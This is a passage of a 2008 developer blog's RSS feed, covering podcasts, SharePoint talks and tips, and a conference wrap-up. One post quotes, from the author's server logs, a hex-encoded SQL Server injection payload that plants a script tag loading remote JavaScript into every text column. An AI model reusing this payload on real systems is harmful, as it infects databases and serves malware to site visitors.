&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=suY9CyjC"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=rtXwWbI4"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=rtXwWbI4" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=pMVXmpdS"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=pMVXmpdS" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=HlyrVjqZ"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=HlyrVjqZ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=mDvuBeBb"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/6jfbfQSJCms" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/etc/151/</guid><pubDate>Tue, 23 Sep 2008 00:47:02 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/etc/151/</feedburner:origLink></item><item><title>Chainsaw Buffet: Yoohoo in a Dirty Glass</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/CX3jg35wGDg/</link><description>&lt;p&gt;It returns! Unfortunately, due to an epic microphone fail on my part (is there anything I do that doesn't end that way?), I'm barely in this episode. And I don't mean I don't say much--I say quite a bit, but you have to listen really closely to hear me.&lt;/p&gt;

&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Chainsaw Buffet Podcast: &lt;a href="http://www.chainsawbuffet.com/articles/podcast-yoohoo-in-a-dirty-glass/"&gt;Yoohoo in a Dirty Glass&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Mega-low-mart. Mooooose. Stay puff. Throw away stats.
Mmmm, bacon sub. 17 vibrators. Hi Mom! Phelps Ninja looting. Baby's
first RPG. Why fix what's broken? Nothing says love like phat loot.
Boomerang t0t@1y pw0ns Shredder. SoCAL IV &gt; DOA. Clicking and loot.
Tom Nook: burn and die!&lt;/p&gt;

&lt;p&gt;&lt;a href="http://media.chainsawbuffet.com/podcast/ChainsawBuffet_Yoohoo_in_a_dirty_glass.mp3"&gt;Download "Yoohoo in a dirty glass" here (mp3)!&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And, you can subscribe to future podcasts here: &lt;a href="http://feeds.feedburner.com/ChainsawBuffetPodcast"&gt;&lt;img src="http://www.chainsawbuffet.com/images/feed-icon-12x12.png" alt="RSS" align="absmiddle" /&gt; http://feeds.feedburner.com/ChainsawBuffetPodcast&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Music from &lt;a href="http://www.paulfinleymusic.com/"&gt;Paul Finley&lt;/a&gt;. Used under Creative Commons.&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/etc/149"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=x05JfvMF"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=iNu6DlOF"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=iNu6DlOF" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=0abtgpgw"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=0abtgpgw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=KKFW6eBx"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=KKFW6eBx" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=t4HdYCXq"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/CX3jg35wGDg" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/etc/149/</guid><pubDate>Tue, 02 Sep 2008 23:47:15 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/etc/149/</feedburner:origLink></item><item><title>ETNUG Presentation: SharePoint for Developers Who Hate SharePoint</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/BJY6_4w8iVk/</link><description>&lt;p&gt;I gave a presentation for &lt;a href="http://www.etnug.org/"&gt;ETNUG&lt;a/&gt; tonight called "SharePoint for Developers Who Hate SharePoint." The presentation is geared toward small IT departments who might not be able to dedicate a team to SharePoint development. (I was on one of these before I started at Trident.) These teams might not be able to use WSS to its full potential or have any need for MOSS. However, managed carefully, there are ways that out-of-the-box SharePoint features can make their lives easier.&lt;/p&gt;

&lt;p&gt;You can download the slide deck for &lt;a href="http://www.dylanwolf.com/files/presentations/SharePoint%20For%20Developers%20Who%20Hate%20SharePoint.pptx"&gt;"SharePoint for Developers Who Hate SharePoint"&lt;/a&gt; as well as &lt;a href="http://www.dylanwolf.com/files/presentations/Intro%20to%20WSS3.pptx"&gt;"Introduction to Windows SharePoint Services 3.0"&lt;a/&gt;, which was the original presentation I submitted for &lt;a href="http://www.codestock.org/"&gt;CodeStock&lt;/a&gt;. (They're in PowerPoint 2007 format--you can get the PowerPoint 2007 Viewer &lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=048DC840-14E1-467D-8DCA-19D2A8FD7485&amp;displaylang=en"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In addition, here are some of the links I mentioned in my presentation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.amazon.com/Microsoft-Windows-SharePoint-Services-Developer/dp/0735623201/ref=pd_bbs_sr_1?ie=UTF8&amp;s=books&amp;qid=1219810560&amp;sr=8-1"&gt;&lt;em&gt;Inside Microsoft Windows SharePoint Services 3.0&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.amazon.com/Professional-SharePoint-2007-Development-Programmer/dp/0470117567/ref=pd_bbs_sr_1?ie=UTF8&amp;s=books&amp;qid=1219810597&amp;sr=8-1"&gt;&lt;em&gt;Professional SharePoint 2007 Development&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.amazon.com/Microsoft-SharePoint-Server-2007-Bible/dp/047000861X/ref=pd_bbs_sr_1?ie=UTF8&amp;s=books&amp;qid=1219810655&amp;sr=1-1"&gt;&lt;em&gt;Microsoft SharePoint Server 2007 Bible&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.amazon.com/Microsoft-SharePoint-2007-Development-Unleashed/dp/0672329034/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1219810697&amp;sr=1-1"&gt;&lt;em&gt;Microsoft SharePoint 2007 Unleashed&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.elumenotion.com/"&gt;elumenotion.com&lt;/a&gt; - Doug Ware's site, which has his SharePoint Skinner utility and the slides from his CodeStock talk&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.cleverworkarounds.com/"&gt;CleverWorkarounds.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.endusersharepoint.com/"&gt;EndUserSharePoint.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.amazon.com/Microsoft-Office-SharePoint-Server-Practices/dp/0735625387/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1219810836&amp;sr=8-1"&gt;&lt;em&gt;Microsoft Office SharePoint Server 2007 Best Practices&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://technet.microsoft.com/en-us/library/cc288773.aspx"&gt;Planning and Architecture for Windows SharePoint Services 3.0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tinyurl.com/4847dg"&gt;WSS3 Evaluation Virtual PC image&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tinyurl.com/ytmlqn"&gt;MOSS 2007 Evaluation Virtual PC image&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.codeplex.com/WSPBuilder"&gt;WSPBuilder&lt;/a&gt; - Visual Studio extension for packaging, deploying, and debugging SharePoint solutions&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.codeplex.com/spm"&gt;SharePoint Manager 2007&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tinyurl.com/zrddg"&gt;U2U CAML Query Builder&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/programming/148"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=593K3Fay"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=cDLAaui3"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=cDLAaui3" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=FEy3p5Hn"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=FEy3p5Hn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=bWaeFtkT"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=bWaeFtkT" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=i5EuHic7"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/BJY6_4w8iVk" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/programming/148/</guid><pubDate>Wed, 27 Aug 2008 00:24:46 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/programming/148/</feedburner:origLink></item><item><title>Chainsaw Buffet: The Greatest Podcast You Will Ever Subscribe To</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/sSAzQafa9p0/</link><description>&lt;p&gt;The time: Friday, August 22, 2008, approximately 9:00pm&lt;/p&gt;

&lt;p&gt;The place: A Howard Johnson in Murfressboro, TN&lt;/p&gt;

&lt;p&gt;The people: &lt;a href="http://www.vinull.com/"&gt;Mike&lt;/a&gt; and myself&lt;/p&gt;

&lt;p&gt;The product: A podcast full of geek talk, random crap, and inane discussion. The first of many.&lt;/p&gt;

&lt;p&gt;I'm talking, of course, about the &lt;a href="http://www.chainsawbuffet.com/"&gt;Chainsaw Buffet&lt;/a&gt; Podcast. As many of you regular readers (um, OK, let's be realistic here: "as &lt;em&gt;absolutely no one&lt;/em&gt;") will remember, &lt;a href="http://www.derklown.com/"&gt;Chad&lt;/a&gt; and I started up ChainsawBuffet.com as a place to post random, humorous articles and crap. (&lt;a href="http://www.dylanwolf.com/etc/81/"&gt;Here's the blog post about how the site came to be.&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;A week or so ago, Mike mentioned the idea for a generic geek podcast. Interestingly, it hadn't been that long ago that I'd mentioned to a few friends that we should record some conversations and post them on the Interwebs. Thus was born the Chainsaw Buffet Podcast.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://media.chainsawbuffet.com/podcast/ChainsawBuffet_Extreme_Citrus_Backwash.mp3"&gt;Download the first episode, "Extreme Citrus Backwash!" (mp3)&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="http://feeds.feedburner.com/ChainsawBuffetPodcast"&gt;Subscribe to the podcast here,&lt;/a&gt; because new episodes are coming soon. We've got one more episode recorded and in production, and we'll be recording some additional episodes on location at DragonCon and Anime Weekend Atlanta.&lt;/p&gt;

&lt;p&gt;You should probably be warned that Mike likes to use colorful language, so you might not want to listen to this in front of the kiddies.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/etc/147"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=2Wso6qXx"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=SNUguhFF"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=SNUguhFF" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=wdq3OWTx"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=wdq3OWTx" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=YZolwQUV"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=YZolwQUV" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=2JkeG0GJ"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/sSAzQafa9p0" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/etc/147/</guid><pubDate>Tue, 26 Aug 2008 22:43:45 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/etc/147/</feedburner:origLink></item><item><title>CodeStock Wrap-Up</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/mWD4bR3zADg/</link><description>&lt;div style="float: right; margin: 1em;"&gt;
&lt;a href="http://www.codestock.org/"&gt;&lt;img src="http://dylanwolf.com/images/codestock_lowres.png" alt="CodeStock Developer's Conference - Knoxville, TN" /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;I just got around to posting my notes from &lt;a href="http://www.codestock.org/"&gt;CodeStock&lt;/a&gt; for my coworkers, so I figured I'd post some of the highlights here too.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.vinull.com/"&gt;Mike&lt;/a&gt;, &lt;a href="http://www.netcave.org/"&gt;Alan&lt;/a&gt;, and &lt;a href="http://www.morewally.com/"&gt;Wally&lt;/a&gt; did an excellent job putting this together. I was surprised that, for a first year conference, we had such a large turnout and yet everything ran really smoothly. (If it &lt;em&gt;didn't&lt;/em&gt; run smoothly, they at least did an excellent job of faking a well-orchestrated event.) It wasn't quite as big as &lt;a href="http://www.devlink.net/"&gt;DevLink&lt;/a&gt;, so we may end up being the &lt;a href="http://www.mtac.net/"&gt;MTAC&lt;/a&gt; to their &lt;a href="http://www.awa-con.com/"&gt;AWA&lt;/a&gt;&lt;sup&gt;*&lt;/sup&gt;. :)&lt;/p&gt;

&lt;p&gt;Behind the scenes, I'm very happy with the commitment to selecting local speakers. I think this is going to be one of the things that sets CodeStock apart, especially as it grows. It shows a commitment not only to the industry in our area, but the people as well. I feel there's a lot more celebrity than there needs to be in the software development world, so a locally-focused conference is a refreshing trend.&lt;/p&gt;

&lt;p&gt;Here's a rundown of the sessions I attended:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;10 Open Source Tools You Should Be Using&lt;/strong&gt; - Good talk, even though I'm not much of an MVC or TDD guy. Loved the fact that James presented alternatives to each of the applications he discussed. The talk sold me on checking out Castle ActiveRecord for projects where I can't use LINQ to SQL, as well as checking out SQLite if I ever need to write a desktop application with a local data store. A full list of these tools are on &lt;a href="http://infozerk.com/averyblog/the-emergence-of-choice-in-the-net-ecosystem/"&gt;James's blog&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What's This XNA Thing?&lt;/strong&gt; - I think my coworkers looked at me funny when I said I wanted to attend this session. I haven't touched XNA since I walked through a Pong tutorial in the 1.0 release, but this was a pretty good motivation to look at it again. I don't think Chris has posted slides yet, but most of the resources he listed can be found on the &lt;a href="http://www.twincitiesxnausergroup.com/"&gt;Twin Cities XNA User Group site&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SharePoint Developer's Survival Guide&lt;/strong&gt; - If you're doing any SharePoint development, this talk was essential. You can find the slides on &lt;a href="http://www.elumenotion.com/"&gt;Doug's site&lt;/a&gt;; there's really too much to cover. (I like the fact that he supported my &lt;a href="http://www.codeplex.com/wspbuilder"&gt;WSPBuilder&lt;/a&gt; bias.) He came from the same angle I used in &lt;a href="http://dylanwolf.com/programming/143/"&gt;my SharePoint talk&lt;/a&gt;, except developer-oriented instead of more administrator-/manager-oriented: these are the pitfalls, and here's how you avoid them. The most telling thing in his speech: "it takes at least 2 years to make a good SharePoint developer."&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;httpModules and httpHandlers&lt;/strong&gt; - I've written a few handlers, but this speech gave me a better understanding of modules, as well as a lot of other uses for handlers I hadn't considered. Chris posted his content from CodeStock &lt;a href="http://professionalaspnet.com/archive/2008/08/10/CodeStock-Rocked_2100_.aspx"&gt;on his blog&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Much Ado About Testing&lt;/strong&gt; - Again, I'm not a TDD guy but I am sold on unit testing. I'm also not quite up to speed on concepts like mocking, so this session filled me in quite a bit. Not quite sure I want to switch from NUnit to MbUnit yet, I haven't run into a case where mocks would actually be beneficial to me&lt;sup&gt;**&lt;/sup&gt;, and Watin really sounds too complicated for my purposes right now. But it's nice to know that it's out there.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For any .NET developers  who enjoyed CodeStock--make sure you come and support the &lt;a href="http://www.etnug.org/"&gt;East Tennessee .NET User Group&lt;/a&gt;. ETNUG was the driving force for a lot of the publicity, speakers, and sponsorship; supporting the group can only help make the conference better next year. If you enjoyed the local speakers at the conference, this is the place to get even more (including me, at the end of this month, speaking on SharePoint).&lt;/p&gt;

&lt;p&gt;There was also some talk of doing some Open Spaces during one of our future meetings--I don't know whether that will come to pass, but from what I heard about the Open Spaces (I didn't make it to any of the sessions), it would be a great alternative to the typical presentation.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;sup&gt;*&lt;/sup&gt; Translation for non-anime geeks: AWA is a bigger convention than MTAC, but if you're in the area, it's well worth attending both.&lt;/p&gt;
&lt;p&gt;&lt;sup&gt;**&lt;/sup&gt; Of course, it shouldn't be any secret that &lt;a href="http://dylanwolf.com/programming/sqlfixture/index.html"&gt;I test my data access&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/programming/146"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=DyLUCvkE"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=7rJS2Igb"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=7rJS2Igb" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=5tltygO8"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=5tltygO8" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=lXBQG946"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=lXBQG946" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=mViGvEsI"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/mWD4bR3zADg" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/programming/146/</guid><pubDate>Mon, 11 Aug 2008 12:21:23 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/programming/146/</feedburner:origLink></item><item><title>Seriously, WTF?</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/-8Gnbul3aaA/</link><description>&lt;p&gt;Not sure if some new worm or exploit has exploded upon the internet, but I'm seeing some really bizarre hits on my site today. Requests for stuff like:&lt;/p&gt;

&lt;blockquote&gt;/programming/38/?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);&lt;/blockquote&gt;

&lt;p&gt;What is that, an SQL injection attack for SQL Server? Which might be quite the issue if my site wasn't hosted on a Linux server. (Or, quite the issue if I was running on a webhost that hosted SQL Server on the same box as web with no firewall... which I suppose would be its own WTF.)&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/programming/145"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=7j77ramI"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=qPsSpiyU"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=qPsSpiyU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=mOHqJ1Wy"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=mOHqJ1Wy" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=mAYCOESf"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=mAYCOESf" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=CCmItTnt"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/-8Gnbul3aaA" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/programming/145/</guid><pubDate>Fri, 08 Aug 2008 16:10:14 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/programming/145/</feedburner:origLink></item><item><title>SharePoint Gotcha: Debugging Code Blocks and Event Handlers (or the lack thereof) in Site Pages</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/TerRAdIXuQE/</link><description>&lt;p&gt;Here's a problem one of the other developers here ran into--if you create your own site pages in SharePoint, you're bound to see an error like this pop up:&lt;/p&gt;

&lt;blockquote&gt;An error occurred during the processing of /mypage.aspx. Code blocks are not allowed in this file.&lt;/blockquote&gt;

&lt;p&gt;... wait, &lt;em&gt;what&lt;/em&gt;?&lt;/p&gt;

&lt;p&gt;Yup, that's what it says. &lt;strong&gt;You can't use code blocks in ASPX files that are stored in SharePoint.&lt;/strong&gt; No &lt;tt&gt;&amp;lt;% Response.Write("Hello World!") %&amp;gt;&lt;/tt&gt;. No &lt;tt&gt;&amp;lt;%# Eval("Name") %&amp;gt;&lt;/tt&gt;. As an added bonus, &lt;tt&gt;&amp;lt;asp:Button runat="server" ID="MyButton" OnClick="MyButton_Click" /&amp;gt;&lt;/tt&gt; doesn't even work because it declares an event handler.&lt;/p&gt;

&lt;p&gt;That's not really the gotcha here. This is well-documented in &lt;a href="http://www.amazon.com/Microsoft-Windows-SharePoint-Services-Developer/dp/0735623201/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1218205537&amp;sr=1-1"&gt;Inside Microsoft Windows SharePoint Services 3.0&lt;/a&gt;: check page 81, if you're following along in your books at home. SharePoint has a very good reason for this security setting to be there: users can create and modify ASPX files that are stored within the SharePoint database. So, if you could run arbitrary code within an ASPX file, a user with no access to the server could potentially run malicious code.&lt;/p&gt;

&lt;p&gt;So where does that code go? Well, it goes in the *.cs or *.vb code-behind file. That means to declare an event handler, you're going to have to do something like this:&lt;/p&gt;
&lt;pre class="csharpcode"&gt;
&lt;span class="kwrd"&gt;protected&lt;/span&gt; &lt;span class="kwrd"&gt;override&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; CreateChildControls()
{
    base.CreateChildControls();
    SaveButton.Click += SaveButton_Click;
    CancelButton.Click += CancelButton_Click;
}&lt;/pre&gt;&lt;br /&gt;

&lt;p&gt;And rather than displaying data in a GridView or Repeater using &lt;tt&gt;Eval()&lt;/tt&gt; or &lt;tt&gt;Bind()&lt;/tt&gt;, you have to give it an &lt;tt&gt;OnRowDataBound&lt;/tt&gt; or &lt;tt&gt;OnItemDataBound&lt;/tt&gt; handler. So that means, rather than doing this:&lt;/p&gt;
&lt;!-- code formatted by http://manoli.net/csharpformat/ --&gt;
&lt;pre class="csharpcode"&gt;
&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;asp:Repeater&lt;/span&gt; &lt;span class="attr"&gt;runat&lt;/span&gt;&lt;span class="kwrd"&gt;="server"&lt;/span&gt; &lt;span class="attr"&gt;ID&lt;/span&gt;&lt;span class="kwrd"&gt;="MyRepeater"&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;ItemTemplate&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;asp:Literal&lt;/span&gt; &lt;span class="attr"&gt;runat&lt;/span&gt;&lt;span class="kwrd"&gt;="server"&lt;/span&gt; &lt;span class="attr"&gt;Text&lt;/span&gt;&lt;span class="kwrd"&gt;='&amp;lt;%# Eval("Name") %&amp;gt;'&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;ItemTemplate&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;asp:Repeater&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;

&lt;p&gt;You do this:&lt;/p&gt;
&lt;!-- code formatted by http://manoli.net/csharpformat/ --&gt;
&lt;pre class="csharpcode"&gt;
&lt;span class="kwrd"&gt;protected&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; MyRepeater_ItemDataBound(&lt;span class="kwrd"&gt;object&lt;/span&gt; sender, RepeaterItemEventArgs e)
{
    &lt;span class="rem"&gt;// Make sure we have a data item in this row&lt;/span&gt;
    &lt;span class="kwrd"&gt;if&lt;/span&gt; (e.Item.DataItem == &lt;span class="kwrd"&gt;null&lt;/span&gt;) { &lt;span class="kwrd"&gt;return&lt;/span&gt;; }

    &lt;span class="rem"&gt;// Convert the data item to its original type&lt;/span&gt;
    DataRowView dr = (DataRowView)e.Item.DataItem;

